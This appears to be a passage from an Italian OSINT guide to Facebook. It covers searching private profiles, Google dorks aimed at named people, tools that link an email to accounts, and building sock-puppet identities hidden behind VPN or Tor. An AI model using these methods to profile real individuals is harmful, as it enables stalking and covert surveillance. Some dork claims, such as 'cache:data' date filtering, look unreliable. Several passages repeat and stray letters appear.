Al giorno d'oggi, Facebook non è solo una piattaforma di social networking, ma un ecosistema digitale che include la realtà virtuale, l'intelligenza artificiale e una vasta infrastruttura pubblicitaria. Ha dato vita a strumenti e tecnologie innovative come Facebook Marketplace, Facebook Watch e le Storie di Facebook, mettendosi in competizione anche con altri giganti tecnologici.

Mentre alcuni lo considerano un semplice strumento per tenersi in contatto con amici e familiari, per molti Facebook è uno strumento essenziale per il business e la comunicazione. Non stupisce quindi che la piattaforma sia diventata un terreno fertile per la ricerca OSINT (Open Source Intelligence), con ricercatori e professionisti della sicurezza che cercano di cogliere ogni dettaglio reso disponibile dalle interazioni degli utenti.

Facebook ha ridefinito il concetto di community online, non solo permettendo di connettersi con persone a distanza ma anche di creare o partecipare a gruppi tematici, eventi e manifestazioni. Questo ha dato vita a una ricchezza di dati e di linea temporale degli eventi che rappresenta un paradiso per gli analisti OSINT.

Nel corso degli anni, Facebook ha introdotto funzionalità quali la trasmissione in live streaming, le reazioni ai post oltre al classico “mi piace”, e le chatbot automatizzate che rendono l’esperienza dell’utente dinamica e interattiva e con l’introduzione delle politiche di trasparenza delle pagine, diventa addirittura possibile esplorare la “genealogia” di pagine e annunci pubblicitari.

La piattaforma ha anche acquisito una dimensione internazionale, con la possibilità di personalizzare la propria esperienza basandosi sulle proprie preferenze linguistiche e culturali. Ciò ha permesso a Facebook di attraversare i confini fisici e di connettere persone da tutti gli angoli del pianeta.

Con l’introduzione di Facebook Workplace, la compagnia si è immersa anche nel mondo della collaborazione aziendale, competendo con altri strumenti come Slack e Microsoft Teams. Questa espansione dimostra ancora una volta la capacità di Facebook di diversificare ed espandere il proprio raggio d’azione ben oltre l’ambito sociale.

Per quanto riguarda la ricerca OSINT, Facebook è trasformato in una miniera d’oro. L’enorme quantità di dati pubblici, i comportamenti degli utenti, le relazioni sociali e le connessioni trasversali rendono la piattaforma un punto di partenza imprescindibile per l’analisi open source. Questo vale sia per investigatori che cercano di prevenire il crimine che per i professionisti di marketing che desiderano comprendere meglio il proprio pubblico.

Tuttavia, è necessario essere consapevoli che, nonostante la disponibilità di dati, questi vanno trattati con cautela e rispetto per la privacy degli individui, seguendo i principi etici dell’OSINT e le normative vigenti.

Insomma, la storia di Facebook è una narrazione continua che ha incrociato e modificato la vita quotidiana di miliardi di persone. Ma è anche una storia che ci insegna quanto sia importante essere consapevoli delle implicazioni legate alla sicurezza dei dati e della privacy nell’era dell’informazione.

L’accesso diretto al database pubblico di Facebook è stato ristretto, creando nuove sfide per i ricercatori OSINT ma, al tempo stesso, offrendo nuove opportunità di affinare le tecniche di ricerca e di analisi.

1

·

1

i

·

i

a

a

l

e

i

·

l

o

Γ

TIPI DI UTENZE FACEBOOK

Approfondendo l'universo Facebook, scopriamo un'ampia gamma di utenze ogni qualvolta ci addentriamo in una ricerca OSINT. Ogni tipo di utenza rappresenta un mondo a sé, un puzzle da comporre con pazienza e accurata osservazione. Comprendere la varietà di profili che popolano questo social è fondamentale per qualunque analista alle prese con indagini complesse o semplici curiosità.

Per iniziare, abbiamo i **profili personali**. Questi sono gli elementi basilari di Facebook, dove ogni individuo sceglie di condividere frammenti della sua vita privata: immagini, pensieri, momenti importanti. Cercando un nome, potremmo incappare in numerosi omonimi: l'abilità sta nel discernere chi è veramente la persona di interesse attraverso foto, post condivisi e interazioni di amici e familiari.

A seguire, incontriamo le **pagine**. Siano esse pagine aziendali, di personaggi pubblici o di iniziative specifiche, rappresentano una fonte inesauribile di informazioni. Uno sguardo ai post ai like e ai commenti può rivelare molto più di quanto si pensi, soprattutto se il gestore della pagina non è particolarmente accorto sulla privacy.

I **gruppi** sono un'altra categoria di utenza. Si dividono in pubblici e privati, e qui dentro si discute di tutto: dagli hobby ai supporti mutui, dai gruppi di vendita alle discussioni politiche. Partecipando o osservando un gruppo, si può comprendere molto riguardo agli interessi e all'attività di un individuo.

Esistono poi i **profili aziendali**, che consentono alle aziende di entrare nel tessuto sociale di Facebook e interagire con i consumatori. Anche se a volte possono sembrare monolitici e informativi inaccessibili, spesso rivelano molto attraverso gli impiegati che li gestiscono e attraverso le interazioni che hanno con altri utenti e pagine.

Non possiamo scordarci dei **profili falsi o "fake"**. Sono profili creati con lo scopo di ingannare, confondere o eseguire attività poco lecite sulla piattaforma. Il rilevamento di questi attori fraudolenti è essenziale, specie quando minano la validità di una ricerca o influenzano il flusso informativo.

Un fenomeno curioso è quello dei **profili inattivi** o abbandonati. Si tratta di utenze che a un certo punto hanno smesso di interagire con la piattaforma. Possono essere utili per ricostruire la storia passata di un utente, ma si deve stare attenti a non formulare ipotesi su attività recenti basandosi su questi profili.

Le **pagine memoriali** meritano una menzione: sono profili trasformati in memoriali in seguito alla perdita di un utente. Pur essendo una commemorazione del defunto, possono contenere dati e

collegamenti importanti per ricostruire reti di conoscenze o l'attività vissuta.

¹Per chi naviga in territori internazionali, è imperativo considerare i **profili multilingue**: alcuni utenti gestiscono le loro informazioni in più lingue per ragioni professionali o personali. Questo genere di profili apre finestre OSINT multiple, legate ai diversi contesti linguistici e culturali.

²Un aspetto da non sottovalutare sono i **profili con alta privacy**. Gli utenti che hanno blindato il loro account rendono la ricerca più ardua. Tuttavia, anche la più minima traccia lasciata può condurre a costruire un'immagine dettagliata dell'individuo.

Ricordiamoci anche dei **profili collegati a giochi e app**. A volte il motivo principale per cui un utente è su Facebook è la partecipazione a giochi online o l'uso di app terze che richiedono l'accesso tramite il social network. Anche qui, si possono trovare legami interessanti da seguire.

Esaminiamo infine i **profili commerciali** dei venditori presenti su Facebook Marketplace. Oltre a offrire uno sguardo sugli oggetti in vendita, questi profili possono aprire finestre sulle tendenze del commercio locale e sui movimenti economici di una specifica area.

³Allargò l'orizzonte, i **profili di test** meritano attenzione. Utilizzati da sviluppatori e marketer per testare funzionalità e reazioni del pubblico, possono essere identificati da un'attività anomala o da un numero ridotto di amici e followers.

⁴Da non dimenticare, infine, i **profili studenteschi**. Collegati spesso a università o scuole possono essere una miniera d'oro per stabilire connessioni e avere accesso a reti giovanili ampie specialmente utili in una ricerca OSINT focalizzata su specifiche fasce d'età.

⁵Oltre alle tipologie citate, vi sono combinazioni e variazioni infinite, poiché la natura umana si riflette nella complessità delle sue utenze digitali. L'analista OSINT naviga in questo mare in tempesta con un occhio al dettaglio e l'altro alla visione d'insieme, sempre attento a quel che emerge dall'acqua nel fluire incessante delle informazioni social.

Approfondire le tecniche di ricerca su queste utenze Facebook è cruciale per chiunque voglia eccellere nel campo dell'OSINT.

collegamenti importanti per ricostruire reti di conoscenze o l'attività vissuta.

Per chi naviga in territori internazionali, è imperativo considerare i **profili multilingue**: alcuni utenti gestiscono le loro informazioni in più lingue per ragioni professionali o personali. Questo genere di profili apre finestre OSINT multiple, legate ai diversi contesti linguistici e culturali.

Un aspetto da non sottovalutare sono i **profili con alta privacy**. Gli utenti che hanno blindato il loro account rendono la ricerca più ardua. Tuttavia, anche la più minima traccia lasciata può condurre a costruire un'immagine dettagliata dell'individuo.

Ricordiamoci anche dei **profili collegati a giochi e app**. A volte il motivo principale per cui un utente è su Facebook è la partecipazione a giochi online o l'uso di app terze che richiedono l'accesso tramite il social network. Anche qui, si possono trovare legami interessanti da seguire.

Esaminiamo infine i **profili commerciali** dei venditori presenti su Facebook Marketplace. Oltre a offrire uno sguardo sugli oggetti in vendita, questi profili possono aprire finestre sulle tendenze del commercio locale e sui movimenti economici di una specifica area.

Allargò l'orizzonte, i **profili di test** meritano attenzione. Utilizzati da sviluppatori e marketer per testare funzionalità e reazioni del pubblico, possono essere identificati da un'attività anomala o un numero ridotto di amici e followers.

Da non dimenticare, infine, i **profili studenteschi**. Collegati spesso a università o scuole, possono essere una miniera d'oro per stabilire connessioni e avere accesso a reti giovanili ampie, specialmente utili in una ricerca OSINT focalizzata su specifiche fasce d'età.

Oltre alle tipologie citate, vi sono combinazioni e variazioni infinite, poiché la natura umana si riflette nella complessità delle sue utenze digitali. L'analista OSINT naviga in questo mare in tempesta con un occhio al dettaglio e l'altro alla visione d'insieme, sempre attento a quel che emerge dall'acqua nel fluire incessante delle informazioni social.

Approfondire le tecniche di ricerca su queste utenze Facebook è cruciale per chiunque voglia eccellere nel campo dell'OSINT.

RICERCA RICORSIVA IN UN ACCOUNT APPARENTEMENTE VUOTO

Quando ci troviamo di fronte a un profilo Facebook che sembra non offrire alcun tipo di informazione, potresti pensare che il tuo lavoro di ricerca OSINT sia finito. Tuttavia, non è così! In realtà, esistono tecniche ricorsive che vi permettono di andare a fondo anche quando tutto sembra nascosto o privato. È una questione di osservare con attenzione e di non arrendersi alla prima impressione.

L'indagine inizia con un'analisi dell'URL del profilo, da cui si può a volte dedurre un vecchio username o ID. Sebbene queste informazioni potrebbero sembrare banali o obsolete, in realtà, possono condurti a informazioni nascoste o dimenticate. Ricorda, le informazioni una volta caricate su Internet raramente scompaiono del tutto.

Successivamente, passa alla ricerca delle amicizie del profilo target. Anche se il profilo è privato guardare chi ha lasciato "like" oppure commentato le poche immagini o post pubblici può essere molto rivelatore. Analizzando gli amici e l'interazione con loro, si possono dedurre pattern sociali, gruppi d'appartenenza o interessi comuni.

Ciò che spesso trascuriamo nell'analizzare un profilo è l'importanza dell'immagine del profilo o di copertina. Anche se non ci offrono informazioni dirette, potrebbero contenere metadati o essere utilizzate per una ricerca inversa di immagini che potrebbe portare a siti esterni dove l'immagine è stata utilizzata, dischiudendo nuovi orizzonti investigativi.

Un'ulteriore tecnica è quella di controllare gli eventi pubblici ai quali la persona potrebbe aver partecipato. Anche se un account sembra vuoto, potrebbero esserci tracce nascoste nella partecipazione a eventi, nei check-in o nei "mi piace" a pagine specifiche, tutti elementi che possono rivelare interessi e abitudini.

Non trascurare mai i commenti! Un utente può avere un profilo vuoto ma potrebbe essere attivo commentando post di altri utenti o pagine. Utilizzando strumenti appositi, è possibile impostare alert che ti notificano quando il nome utente di interesse commenta in qualche luogo pubblico.

L'aspetto dei post "taggati" è altrettanto cruciale. Potresti non vedere i post originali se il profilo è ben protetto, ma amici meno cauti potrebbero avere meno restrizioni sul loro profilo e quindi rivelare informazioni indirette.

Per esempio, in un profilo che appare senza alcun post pubblico, possiamo utilizzare la ricerca interna a un profilo (la lente di ingrandimento che trovate in alto a destra), per ricercare alcune parole comuni nella lingua utilizzata dall'utente, come per esempio "Ciao", "Auguri" o quant'altro, oltre a ovviamente all'username, nome, o altri identificativi univoci. Queste

permetterà di ottenere i post in cui un utente è stato taggato, che rimarranno visibili nel caso l'utente che gli abbia scritto abbia una privacy del profilo meno restrittiva rispetto al nostro utente target.

Nel caso un target, non abbia la data di nascita pubblica, potremmo individuarla grazie ai post di auguri postati da amici e familiari consentendoci quindi di approfondire le nostre ricerche.

Poi, c'è il mondo dei "gruppi". Molte persone si uniscono a gruppi che condividono i loro interessi, e quindi, indagando i gruppi a cui appartiene un utente, potete trovare indizi sui suoi interessi personali o professionali.

Un altro elemento rivelatore possono essere i "mi piace" ricevuti dal profilo in analisi. Infatti, esaminando chi interagisce con il profilo, può emergere una cerchia sociale che a volte è più espressiva del profilo stesso. Questi "mi piace" possono essere pubblici anche in un profilo privato.

Ed eccoci a parlare delle "storie". Pur essendo effimere, sono un ricco giacimento di informazioni se potete catturarle in tempo. Non bisogna lasciarsi sfuggire le storie che l'individuo decide di rendere pubbliche, che possono raccontare molto più di quanto non faccia un post.

Non scartare mai la possibilità che, anche in mancanza di post diretti, una persona potrebbe essere stata citata o menzionata da altre persone all'interno della piattaforma. Una citazione piuttosto innocua potrebbe essere la chiave per sbloccare ulteriori dettagli.

Ultimo, ma non per importanza, i dati EXIF delle foto. Nel caso di Facebook, i dati EXIF vengono scartati in automatico, ma, se riesci a scaricare le stesse immagini pubbliche postate all'esterno del social network stesso, potete analizzare i dati EXIF per recuperare informazioni come data, ora e geolocalizzazione. Un boccone niente male per un investigatore OSINT!

Naturalmente, tutte queste tecniche devono essere utilizzate nel rispetto delle leggi sulla privacy. Mai e poi mai dimenticare che stiamo agendo in un contesto che richiede etica e rispetto per l'individuo di cui state indagando le informazioni online.

In conclusione, un account Facebook apparentemente vuoto può essere fonte di una ricchissima serie di dati. Richiede solo pazienza, una buona dose di astuzia e l'utilizzo di tecniche ricorsive che ci permettono di trovare indizi anche dove non sembra ce ne siano. La prossima volta che ti imbatti in un tale account, ricordati di questi trucchi e sfruttali al meglio.

Con questo spirito investigativo, incanaliamo la nostra curiosità nel prossimo passo: l'uso di query sofisticate, come quelle che Sowsearch permette di generare, per andare ancora più a fondo nella storia e nei segreti del vasto mondo di Facebook.

o

e

i

CREARE QUERY TRAMITE SOWSEARCH

Avventuriamoci ora nell'arte di creare query efficaci per rinvigorire le tue competenze OSINT su Facebook. Quando parliamo di Sowsearch, ci riferiamo a uno strumento innovativo che può aiutare nello scoprire informazioni nascoste o non immediatamente visibili sul network di Mark Zuckerberg. Ti illustrerò come cogliere il potenziale di questo tool.

Per introdurre l'argomento, partiamo dal presupposto che ogni ricerca viene eseguita attraverso una query ben costruita, un po' come in un linguaggio di programmazione, dove tutto ruota attorno alla precisione dei termini inseriti. La chiave sta nel saper combinare le parole giuste per affinare la ricerca.

Prima di tutto, bisogna avere ben chiaro l'obiettivo della ricerca. Che si tratti di trovare persone, post, immagini o altre tipologie di contenuti, la focalizzazione è cruciale. Questo strumento si presta bene per scovare profili, ma anche per analizzare le interazioni pubbliche di un utente, tra post condivisi e commenti.

Quando si utilizza Sowsearch, è fondamentale comprendere il contesto delle parole chiave scelte. Per esempio, inserire solo un cognome potrebbe non essere sufficientemente specifico, ma abbinandolo alla città di residenza o a un datore di lavoro, i risultati saranno più mirati.

Un'altra caratteristica interessante di Sowsearch è la capacità di filtrare per data. Questo significa che puoi cercare post o interazioni in un lasso di tempo delimitato, che può essere estremamente utile quando si cerca di ricostruire cronologie di eventi.

Familiarizzando con il linguaggio di query specifico di Sowsearch, potrai esplorare le sue funzioni avanzate, come le ricerche incrociate che permettono di individuare connessioni tra utenti o di identificare modelli di comportamento all'interno di gruppi.

Non dimenticare che ogni piattaforma ha i suoi parametri di privacy e impostazioni che influenzano la visibilità dei contenuti. Dunque, ricorda di controllare e rispettare sempre queste limitazioni durante le tue investigazioni per non infrangere le regole della piattaforma.

Oltre ai profili personali, Sowsearch si dimostra un ottimo alleato anche nella ricerca di informazioni relative a pagine aziendali o gruppi. Questo ti permette di analizzare non solo i singoli, ma anche le dinamiche collettive e commerciali presenti su Facebook.

Un elemento che spesso viene trascurato ma che potrebbe essere un vero e proprio tesoro nascosto è l'analisi delle immagini. Sowsearch offre la possibilità di cercare attraverso le didascalie e i commenti delle foto, aprendo la strada a rivelazioni inaspettate sul contesto o sulle persone raffigurate.

Ma attenzione: come in ogni ricerca OSINT, è fondamentale fare attenzione alla veridicità delle informazioni scoperte. Non tutto ciò che brilla è oro, e alcune informazioni potrebbero essere fuorvianti o addirittura false.

La sostanza di un'indagine OSINT di successo su Facebook tramite Sowsearch è la pazienza e la prospettiva analitica. Spesso i dati più preziosi si trovano scavando in profondità e incrociando più fonti.

E non finisce qui. Con questo strumento hai la capacità di salvare le tue query per riutilizzarle in seguito, ottimizzando i tempi e affinando le tecniche di ricerca. È come costruire un archivio di formule magiche personali pronte all'uso.

Dopo aver acquisito dimestichezza con le basi, potresti voler sperimentare con i filtri avanzati. Questi permettono di restringere ulteriormente i risultati ottenuti, per esempio focalizzandosi su specifici luoghi o tematiche.

Non dimenticare la potenza del linguaggio naturale nelle ricerche. Sowsearch supporta query scritte quasi come se stessi parlando a un umano - a patto di usare le keyword giuste. Usare frasi come "Fotografie scattate a Roma da Mario Rossi" può condurre a risultati sorprendentemente accurati.

Infine, sii creativo ma anche etico nel tuo approccio alla ricerca OSINT. La responsabilità va di pari passo con il potere delle informazioni che sarai in grado di scoprire; quindi, è fondamentale ricordarsi di proteggere la privacy altrui ed evitare usi non etici dei dati ottenuti.

Le query su Sowsearch possono trasformarsi in un ponte verso la conoscenza nascosta nei meandri di Facebook. Con pratica e curiosità, presto potrai dire di aver padroneggiato quest'arte sottile, cruciale nel panorama della ricerca OSINT.

Di particolare interesse è il fatto che SowSearch utilizza degli Endpoint/API differenti dal motore di ricerca interna di Facebook; pertanto, con la stessa chiave di ricerca si potranno visualizzare anche contenuti differenti.

Per effettuare ricerche esaustive con SowSearch bisogna conoscere il Facebook ID, un particolare stringa numerica, che vedremo come ottenere nei capitoli successivi.

Ma attenzione: come in ogni ricerca OSINT, è fondamentale fare attenzione alla veridicità delle informazioni scoperte. Non tutto ciò che brilla è oro, e alcune informazioni potrebbero essere fuorvianti o addirittura false.

La sostanza di un'indagine OSINT di successo su Facebook tramite Sowsearch è la pazienza e la prospettiva analitica. Spesso i dati più preziosi si trovano scavando in profondità e incrociando più fonti.

E non finisce qui. Con questo strumento hai la capacità di salvare le tue query per riutilizzarle in seguito, ottimizzando i tempi e affinando le tecniche di ricerca. È come costruire un archivio di formule magiche personali pronte all'uso.

Dopo aver acquisito dimestichezza con le basi, potresti voler sperimentare con i filtri avanzati. Questi permettono di restringere ulteriormente i risultati ottenuti, per esempio focalizzandosi su specifici luoghi o tematiche.

Non dimenticare la potenza del linguaggio naturale nelle ricerche. Sowsearch supporta query scritte quasi come se stessi parlando a un umano - a patto di usare le keyword giuste. Usare frasi come "Fotografie scattate a Roma da Mario Rossi" può condurre a risultati sorprendentemente accurati.

Infine, sii creativo ma anche etico nel tuo approccio alla ricerca OSINT. La responsabilità va di pari passo con il potere delle informazioni che sarai in grado di scoprire; quindi, è fondamentale ricordarsi di proteggere la privacy altrui ed evitare usi non etici dei dati ottenuti.

Le query su Sowsearch possono trasformarsi in un ponte verso la conoscenza nascosta nei meandri di Facebook. Con pratica e curiosità, presto potrai dire di aver padroneggiato quest'arte sottile, cruciale nel panorama della ricerca OSINT.

Di particolare interesse è il fatto che SowSearch utilizza degli Endpoint/API differenti dal motore di ricerca interna di Facebook; pertanto, con la stessa chiave di ricerca si potranno visualizzare anche contenuti differenti.

Per effettuare ricerche esaustive con SowSearch bisogna conoscere il Facebook ID, una particolare stringa numerica, che vedremo come ottenere nei capitoli successivi.

DORK GOOGLE PER FACEBOOK

Tuffiamoci nel mondo dei Google Dorks, nello specifico per un colosso dei social media: Facebook. Sapevi che con certi snippet magici chiamati dorks puoi trovare pagine, dati pubblici e contenuti specifici su Facebook che altrimenti sarebbero ben nascosti?

I Google Dorks non sono altro che delle query avanzate che si usano su Google per individuare informazioni specifiche, spesso nascoste o difficili da trovare semplicemente navigando sul sito di Facebook. La potenza di questi dorks sta nell'esplorare gli anfratti più reconditi di Facebook attraverso Google stesso.

Cominciamo con i dorks più semplici: una ricerca basica può essere fatta utilizzando operatori come *site:*. Per esempio, cercando *site:facebook.com nome.cognome* si può trovare il profilo di una persona specifica, se ha il suo nome visibile come parte dell'URL del profilo.

L'usabilità dei dorks non finisce qui: per trovare foto pubbliche posso scrivere *site:facebook.com inurl:photos "nome.cognome"*. Alterna "nome.cognome" con il nome dell'individuo di interesse e magari scoprirai una galleria dimenticata su qualche profilo.

Un'altra tattica è cercare le pagine a cui una persona potrebbe aver messo

"mi piace". Una query potrebbe essere *site:facebook.com inurl:likes "nome.cognome"*. Questo trucchetto può rivelare interessi e connessioni della persona.

E i post? Anche quelli si possono trovare se non sono stati adeguatamente protetti. Utilizzando *site:facebook.com "nome.cognome" "post"* potrebbero apparire dei post pubblici interessanti da analizzare.

I commenti? Certo. Se qualcuno ha un'attività particolarmente fervente nei commenti, una riga di ricerca potrebbe essere *site:facebook.com "nome.cognome" comment*. Essere a conoscenza di dove e cosa commenta una persona può donare molti indizi sulle sue abitudini e i suoi interessi.

Per trovare menzioni di un luogo, evento o argomento specifico puoi usare *site:facebook.com intext:"argomento specifico"*. Questo può guidare verso gruppi, eventi o pagine che parlano dell'argomento in questione.

Se stai cercando di catturare informazioni su potenziali relazioni o reti di una persona sperimenta con la query *site:facebook.com "amici di nome.cognome"*. Questo può rivelare liste di amici o foto taggate che includono quella persona.

Ora, se vuoi essere più specifico e cercare all'interno di un gruppo Facebook, dovrai essere creativi con i dorks come *site:facebook.com inurl:groups "nome del gruppo" nome.cognome*. Se

la persona ha interagito con quel gruppo in qualche modo, c'è una possibilità che Google te lo serva su un piatto d'argento.

Vogliamo cercare vecchi post o contenuti che potrebbero essere stati cancellati ma sono ancora memorizzati nella cache di Google? Usa *site:facebook.com "nome.cognome" & cache:data*.

Questa ricerca porterà risultati elencati prima della "data" specificata, e spesso non più accessibili direttamente su Facebook.

Un dork particolarmente utile per gli investigatori OSINT è la ricerca di immagini. Digitando *site:facebook.com "nome.cognome" & imgurl:*, sarai in grado di tirar fuori immagini potenzialmente collegate alla persona che stai cercando.

Una curiosità: alcuni dorks possono aiutare a trovare liste di eventi pubblici, i post di eventi o persino pagine aziendali. *site:facebook.com inurl:events "evento specifico"* o *site:facebook.com inurl:pages "nome azienda"* sono esempi di come si può ampliare la ricerca OSINT su Facebook.

Ma attenzione! Anche se questi metodi possono sembrare un jackpot per l'OSINT, è cruciale utilizzarli in maniera etica e legale. Assicurati sempre di rispettare la privacy e le leggi locali riguardanti la raccolta di dati.

Per concludere, i dorks di Google per Facebook sono un potente strumento quando si tratta di ricerca OSINT. Con una strategia mirata e un po' di creatività, è sorprendente quanto si può scoprire. Basta ricordare che non tutti gli utenti di Facebook hanno conoscenze sulla privacy online; quindi, usare questi strumenti richiede un alto senso di responsabilità e integrità.

In definitiva, questa è solo la cima dell'iceberg del potere di Google Dorks nell'ambito OSINT su Facebook. Sperimenta con gli operatori e le query per affinare le tue capacità di ricerca e scoprirai che ogni informazione è a portata di mano, a volte nascosta nella vista di tutti.

la persona ha interagito con quel gruppo in qualche modo, c'è una possibilità che Google te lo serva su un piatto d'argento.

Vogliamo cercare vecchi post o contenuti che potrebbero essere stati cancellati ma sono ancora memorizzati nella cache di Google? Usa *site:facebook.com "nome.cognome" & cache:data*. Questa ricerca porterà risultati elencati prima della "data" specificata, e spesso non più accessibili direttamente su Facebook.

Un dork particolarmente utile per gli investigatori OSINT è la ricerca di immagini. Digitando *site:facebook.com "nome.cognome" & imgurl:*, sarai in grado di tirar fuori immagini potenzialmente collegate alla persona che stai cercando.

Una curiosità: alcuni dorks possono aiutare a trovare liste di eventi pubblici, i post di eventi o persino pagine aziendali. *site:facebook.com inurl:events "evento specifico"* o *site:facebook.com inurl:pages "nome azienda"* sono esempi di come si può ampliare la ricerca OSINT su Facebook.

Ma attenzione! Anche se questi metodi possono sembrare un jackpot per l'OSINT, è cruciale utilizzarli in maniera etica e legale. Assicurati sempre di rispettare la privacy e le leggi locali riguardanti la raccolta di dati.

Per concludere, i dorks di Google per Facebook sono un potente strumento quando si tratta di ricerca OSINT. Con una strategia mirata e un po' di creatività, è sorprendente quanto si può scoprire. Basta ricordare che non tutti gli utenti di Facebook hanno conoscenze sulla privacy online; quindi, usare questi strumenti richiede un alto senso di responsabilità e integrità.

In definitiva, questa è solo la cima dell'iceberg del potere di Google Dorks nell'ambito OSINT su Facebook. Sperimenta con gli operatori e le query per affinare le tue capacità di ricerca e scoprirai che ogni informazione è a portata di mano, a volte nascosta nella vista di tutti.

Capitolo 7: Tecniche Avanzate di Facebook OSINT

Dopo aver esplorato i fondamenti della ricerca OSINT su Facebook nel capitolo precedente, è il momento di tuffarci nelle tecniche avanzate che possono davvero fare la differenza. Parleremo di come verificare l'esistenza di un utente su Facebook con una precisione chirurgica usando strumenti come Poastal, e poi si aprirà il discorso sui cosiddetti "Sock Puppet", identità virtuali create ad hoc per ricerche sotto copertura, senza dimenticare l'importante aspetto etico di queste operazioni. Capirai l'immenso valore del Facebook ID – una sorta di carta d'identità digitale dell'utente – e imparerai i metodi precisi per estrarlo sia automaticamente che manualmente, diventando una sorta di 'detective digitale'. Questo capitolo ti porterà poi a sviscerare la trasparenza della pagina, una risorsa utile per scovare informazioni che potrebbero non essere immediatamente visibili, e a padroneggiare il potente motore di ricerca interno a Facebook, che è molto più di un semplice box di ricerca. Insomma, ti trasformerai in un vero e proprio ninja di Facebook, pronto a usare ogni sfumatura e ogni funzione nascosta della piattaforma per raggiungere i tuoi obiettivi di analisi.

Capitolo 7: Tecniche Avanzate di Facebook OSINT

Dopo aver esplorato i fondamenti della ricerca OSINT su Facebook nel capitolo precedente, è il momento di tuffarci nelle tecniche avanzate che possono davvero fare la differenza. Parleremo di come verificare l'esistenza di un utente su Facebook con una precisione chirurgica usando strumenti come Poastal, e poi si aprirà il discorso sui cosiddetti "Sock Puppet", identità virtuali create ad hoc per ricerche sotto copertura, senza dimenticare l'importante aspetto etico di queste operazioni. Capirai l'immenso valore del Facebook ID – una sorta di carta d'identità digitale dell'utente – e imparerai i metodi precisi per estrarlo sia automaticamente che manualmente, diventando una sorta di 'detective digitale'. Questo capitolo ti porterà poi a sviscerare la trasparenza della pagina, una risorsa utile per scovare informazioni che potrebbero non essere immediatamente visibili, e a padroneggiare il potente motore di ricerca interno a Facebook, che è molto più di un semplice box di ricerca. Insomma, ti trasformerai in un vero e proprio ninja di Facebook, pronto a usare ogni sfumatura e ogni funzione nascosta della piattaforma per raggiungere i tuoi obiettivi di analisi.

INVESTIGADOR_Z

VERIFICARE SE UN UTENTE È REGISTRATO SU FACEBOOK E SU ALTRI SERVIZI WEB

Nel vasto panorama dell'OSINT su Facebook, una delle prime domande alle quali cerchiamo risposta è se un determinato utente sia registrato sulla piattaforma. Uno strumento molto utile per questo tipo di verifica è Poastal. Ma come funziona esattamente questo tool e perché è così prezioso per un investigatore OSINT?

Prima di tutto, Poastal è uno strumento progettato per automatizzare la ricerca di utenti su diverse piattaforme Social, tra cui Facebook.

Il tool, scritto in Python da Jake Creeps, un famoso analista OSINT, consente di conoscere a partire da un indirizzo e-mail se:

- l'e-mail in oggetto d'analisi esiste e il nome associato alla stessa;
- se si tratta di un'e-mail temporanea o meno e se è possibile consegnare delle e-mail all'indirizzo specificato;
- se l'indirizzo e-mail è contrassegnato come "spam" e quindi in uso a un probabile criminale;
- se l'e-mail è stata utilizzata per registrarsi a Facebook, Twitter, Snapchat, Parler, Rumble, MeWe, Imgur, Adobe, Wordpress, e Duolingo.

In alcuni casi restituirà anche l'account associato.

Esiste un altro script Python simile chiamato Holehe, in questo caso una volta scaricato ed eseguito su una determinata e-mail restituirà una lista di "siti web" alla quale il nostro utente è registrato. Holehe controlla al momento circa 300 diverse risorse, ma non Facebook, per il quale è necessario utilizzare Poastal. Pertanto, è consigliato utilizzarli entrambi per avere un'idea chiara di dove il nostro target sia registrato.

Ghunt è un altro tool molto utile, nel caso il nostro target utilizzi un'e-mail del provider Google (Gmail o Gsuite in caso di azienda) restituirà l'id univoco dell'account, dalla quale si può giungere (il tool lo farà in automatico) ai vari profili Google come Calendar, Maps, Google Images, l'ormai defunto social Google+ e altre informazioni utili per la nostra analisi.

Esistono poi servizi web che includono questi e molti altri script per la verifica delle e-mail e l'individuazione dei profili associati, i più conosciuti e potenti sono sicuramente Epieos Tools e Osint.Industries.

Entrambi a pagamento o gratuitamente con risorse limitate, consentono di individuare gli account a partire da un'e-mail su oltre 300 siti differenti.

Una vera manna dal cielo per chi fa OSINT.

o
e
i

e
e
t

INVESTIGADOR_Z

COSA SONO I SOCK PUPPET

Dopo aver esplorato le proprietà storiche di Facebook e le metodologie per identificare account apparentemente anonimi, è fondamentale introdurre un concetto chiave nell'ambito dell'Open Source Intelligence (OSINT): i sock puppet. Ma cosa rappresentano esattamente queste figure all'interno del contesto di Facebook e della ricerca OSINT?

Un sock puppet è, in sostanza, un account fittizio creato sui social media o su altre piattaforme online. Questo tipo di profilo viene utilizzato principalmente per preservare l'anonimato di chi sta svolgendo investigazioni o per accedere a informazioni che potrebbero non essere disponibili agli account legittimi o noti per determinate restrizioni o filtri sociali.

Chi utilizza un sock puppet lo fa per molteplici motivi. Gli investigatori, per esempio, possono aver bisogno di osservare gruppi chiusi o pagine senza esporre la loro vera identità a possibili soggetti d'indagine. Inoltre, i sock puppet possono essere utilizzati per evitare il bias dovuto alla percezione dell'identità reale del ricercatore, o per bypassare eventuali blocchi imposti dall'utente che si sta investigando.

Creare un profilo credibile non è però una passeggiata. Richiede una pianificazione attenta affinché il nuovo account non sia immediatamente riconoscibile come falso. Aspetti come l'età del profilo, il numero di amici e i contenuti condivisi sono tutti fattori critici che contribuiscono a stabilire la verosimiglianza di un sock puppet.

Per essere efficaci, i sock puppet dovrebbero avere una backstory convincente. Questo include avere dettagli personali plausibili, come la città di residenza, l'educazione, il luogo di lavoro e gli hobby. Essere coerenti nella storia che si crea per il sock puppet può fare la differenza tra essere scoperti o rimanere sotto radar mentre si svolgono le indagini.

Oltre a evitare incoerenze evidenti, bisogna anche considerare la necessità di mantenere il profilo attivo. Un account che non mostra alcun segno di vita potrebbe suscitare sospetti. Pertanto, interagire occasionalmente con altri utenti o partecipare a discussioni generiche può aiutare a mantenere la facciata.

Ciò detto, bisogna osservare i confini etici e legali. L'utilizzo di un account falso per infiltrarsi in gruppi senza permesso o per raccogliere informazioni personali senza consenso può comportare rischi legali e morali notevoli. È essenziale, quindi, sempre agire nel rispetto delle norme vigenti e delle linee guida etiche.

Nella creazione di un sock puppet, si dovrebbe anche considerare l'impronta digitale che ogni dispositivo lascia. Per esempio, indirizzi IP o dispositivi marcati potrebbero rivelare la natura

fittizia dell'account, quindi diventa cruciale l'uso di VPN, proxy o TOR per occultare l'origine delle proprie azioni.

A livello pratico, le immagini di profilo e le altre foto devono essere uniche e non riconducibili ad altre fonti online. Per fare ciò, si possono utilizzare immagini royalty-free o modificate in maniera tale da non essere riconoscibili attraverso la ricerca inversa delle immagini.

